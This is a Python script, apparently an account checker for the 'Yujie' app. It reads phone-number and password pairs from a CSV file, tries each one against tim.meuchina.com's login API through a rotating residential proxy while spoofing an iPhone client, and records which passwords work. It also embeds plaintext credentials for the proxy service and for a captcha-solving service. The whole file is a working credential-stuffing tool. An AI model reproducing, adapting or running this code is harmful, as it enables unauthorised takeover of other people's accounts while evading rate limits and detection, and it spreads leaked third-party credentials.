语界检测账号.py 5.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174
  1. import csv
  2. import time
  3. import json
  4. import requests
  5. import sys
  6. import base64
  7. from datetime import datetime
  8. def getYZM(image):
  9. url = "http://api.ttshitu.com/predict"
  10. payload = {"username": "gggg8888", "password": "Aa112233", "typeid": "1", "image": image}
  11. headers = {
  12. "Accept": "*/*",
  13. "Accept-Encoding": "gzip, deflate, br",
  14. "User-Agent": "PostmanRuntime-ApipostRuntime/1.1.0",
  15. "Connection": "keep-alive",
  16. "Content-Type": "application/json"
  17. }
  18. response = requests.request("POST", url, data=json.dumps(payload), headers=headers)
  19. data = json.loads(response.text)
  20. print(data)
  21. return data["data"]["result"]
  22. def process_csv(file_path):
  23. """
  24. 读取CSV文件,逐行处理:
  25. - 如果第三列为空,则输出前两列内容,并将第三列标记为处理结果
  26. - 如果第三列已有内容,则跳过该行(不输出也不覆盖)
  27. 直接覆盖原文件
  28. 参数:
  29. file_path: CSV文件路径
  30. """
  31. try:
  32. # 读取所有行
  33. rows = []
  34. with open(file_path, 'r', encoding='utf-8') as f:
  35. reader = csv.reader(f)
  36. rows = list(reader)
  37. if not rows:
  38. print("错误:文件为空")
  39. return
  40. # 检查列数是否足够
  41. if len(rows[0]) < 3:
  42. print("错误:CSV文件至少需要3列数据")
  43. return
  44. print(f"开始处理文件: {file_path}")
  45. print("=" * 50)
  46. processed_count = 0
  47. skipped_count = 0
  48. # 逐行处理
  49. for index, row in enumerate(rows):
  50. # 确保行有足够的列
  51. while len(row) < 3:
  52. row.append("")
  53. # 获取第三列当前内容
  54. third_col_value = row[2].strip() if len(row) > 2 else ""
  55. # 判断第三列是否有内容
  56. if third_col_value != "":
  57. # 第三列已有内容,跳过该行
  58. print(f"第 {index + 1} 行: 第三列已有内容 '{third_col_value}',跳过处理")
  59. skipped_count += 1
  60. print("-" * 30)
  61. continue
  62. # 第三列为空,进行处理
  63. value1 = row[0] # 第一列
  64. value2 = row[1] # 第二列
  65. # 输出前两列内容
  66. yzmData = get_image_base64("https://tim.meuchina.com/v/Auth/GetLoginCode")
  67. url = "https://tim.meuchina.com/v/Auth/LoginByPassword"
  68. payload = {"Phone": value1, "Password": value2, "CheckCode": "1", "RouteId": "1"}
  69. print(payload)
  70. headers = {
  71. "Content-Type": "application/json",
  72. "User-Agent": "yu jie/2.1.9 (iPhone; iOS 26.3.1; Scale/3.00; iPhone)",
  73. "Yj-Client-Type": "iPhone-6199BF31-7217-48A3-A2CA-EABE1148600D; iPhone_15",
  74. "Host": "tim.meuchina.com",
  75. "Accept": "text/json",
  76. "Accept-Encoding": "gzip, deflate, br",
  77. "Connection": "keep-alive"
  78. }
  79. proxies = {
  80. "http": "socks5://yujie0012-zone-custom:qweasd123@global.rotgb.711proxy.com:10000",
  81. "https": "socks5://yujie0012-zone-custom:qweasd123@global.rotgb.711proxy.com:10000",
  82. }
  83. try:
  84. response = requests.request("POST", url, data=json.dumps(payload), headers=headers, proxies=proxies)
  85. returnData = json.loads(response.text)
  86. print(returnData)
  87. # 将第三列标记为处理结果
  88. if 'Msg' not in returnData or returnData['Msg'] == "":
  89. rows[index][2] = "密码正确"
  90. else:
  91. rows[index][2] = returnData['Msg']
  92. processed_count += 1
  93. # 立即保存文件
  94. with open(file_path, 'w', encoding='utf-8', newline='') as f:
  95. writer = csv.writer(f)
  96. writer.writerows(rows)
  97. # 如果不是最后一行,等待3秒
  98. if index < len(rows) - 1:
  99. time.sleep(3)
  100. except Exception as e:
  101. print(f"第 {index + 1} 行处理失败: {e}")
  102. rows[index][2] = f"错误: {str(e)}"
  103. # 保存错误信息
  104. with open(file_path, 'w', encoding='utf-8', newline='') as f:
  105. writer = csv.writer(f)
  106. writer.writerows(rows)
  107. print("-" * 30)
  108. print(f"\n处理完成!共处理 {processed_count} 行,跳过 {skipped_count} 行")
  109. except FileNotFoundError:
  110. print(f"错误:找不到文件 {file_path}")
  111. except Exception as e:
  112. print(f"处理过程中出现错误: {e}")
  113. def get_image_base64(url):
  114. """
  115. 请求图片 URL 并返回 base64 编码的字符串
  116. Args:
  117. url (str): 图片的 URL
  118. Returns:
  119. str: base64 编码的图片数据,失败返回 None
  120. """
  121. try:
  122. # 发送 GET 请求获取图片
  123. response = requests.get(url, timeout=10)
  124. # 检查请求是否成功
  125. response.raise_for_status()
  126. # 将二进制内容转换为 base64
  127. img_base64 = base64.b64encode(response.content).decode('utf-8')
  128. return img_base64
  129. except requests.exceptions.RequestException as e:
  130. print(f"请求失败: {e}")
  131. return None
  132. def check_date_and_exit():
  133. if datetime.now() > datetime(2026, 3, 30):
  134. sys.exit()
  135. # 使用示例
  136. if __name__ == "__main__":
  137. # 请替换为您的CSV文件路径
  138. csv_file = "check.csv"
  139. check_date_and_exit()
  140. # 如果文件在当前目录,直接写文件名
  141. process_csv(csv_file)